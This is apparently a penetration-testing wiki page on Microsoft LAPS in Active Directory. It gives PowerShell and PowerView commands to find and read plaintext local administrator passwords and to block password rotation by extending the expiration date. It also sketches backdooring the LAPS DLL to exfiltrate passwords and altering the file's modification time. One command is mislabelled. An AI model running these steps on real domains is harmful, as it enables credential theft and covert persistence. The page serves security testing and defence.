## Basic Information
|
|
|
|
**LAPS** allows you to **manage the local Administrator password** (which is **randomised**, unique, and **changed regularly**) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES.
|
|
|
|
When using LAPS, 2 new attributes appear in the computer objects of the domain: _ms-msc-AdmPwd_ and _ms-mcs-AdmPwdExpirationTime._ These attributes contains the plain-text admin password and the expiration time. Then, in a domain environment, it could be interesting to check which users can read these attributes.
|
|
|
|
### Check if activated
|
|
|
|
```bash
|
|
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
|
|
|
|
dir "C:\Program Files\LAPS\CSE"
|
|
# Check if that folder exists and contains AdmPwd.dll
|
|
|
|
# Find GPOs that have "LAPS" or some other descriptive term in the name
|
|
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
|
|
|
|
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
|
|
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
|
|
```
|
|
|
|
### LAPS Password Access
|
|
|
|
You could **download the raw LAPS policy** from `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` and then use **`Parse-PolFile`** from the [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) package can be used to convert this file into human-readable format.
|
|
|
|
Moreover, the **native LAPS PowerShell cmdlets** can be used if they're installed on a machine we have access to:
|
|
|
|
```powershell
|
|
Get-Command *AdmPwd*
|
|
|
|
CommandType Name Version Source
|
|
----------- ---- ------- ------
|
|
Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS
|
|
Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS
|
|
Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS
|
|
Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS
|
|
Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS
|
|
Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS
|
|
Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS
|
|
Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS
|
|
|
|
# List who can read LAPS password of the given OU
|
|
Find-AdmPwdExtendedRights -Identity Workstations | fl
|
|
|
|
# Read the password
|
|
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
|
```
|
|
|
|
**PowerView** can also be used to find out **who can read the password and read it**:
|
|
|
|
```powershell
|
|
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
|
|
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
|
|
|
# Read the password
|
|
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
|
|
```
|
|
|
|
Finally, [**LAPSToolkit**](https://github.com/leoloobeek/LAPSToolkit) **can also be useful for the same purpose.**
|
|
|
|
## **LAPS Persistence**
|
|
|
|
### **Expiration Date**
|
|
|
|
Once admin, it's possible to **obtain the passwords** and **prevent** a machine from **updating** its **password** by **setting the expiration date into the future**.
|
|
|
|
```powershell
|
|
# Get expiration time
|
|
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
|
|
|
# Change expiration time
|
|
## It's needed SYSTEM on the computer
|
|
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
|
|
```
|
|
|
|
{% hint style="warning" %}
|
|
The password will still reset if an **admin** uses the **`Reset-AdmPwdPassword`** cmdlet; or if **Do not allow password expiration time longer than required by policy** is enabled in the LAPS GPO.
|
|
{% endhint %}
|
|
|
|
### Backdoor
|
|
|
|
The original source code for LAPS can be found [here](https://github.com/GreyCorbel/admpwd), therefore it's possible to put a backdoor in the code (inside the `Get-AdmPwdPassword` method in `Main/AdmPwd.PS/Main.cs` for example) that will somehow **exfiltrate new passwords or store them somewhere**.
|
|
|
|
Then, just compile the new `AdmPwd.PS.dll` and upload it to the machine in `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (and change the modification time).
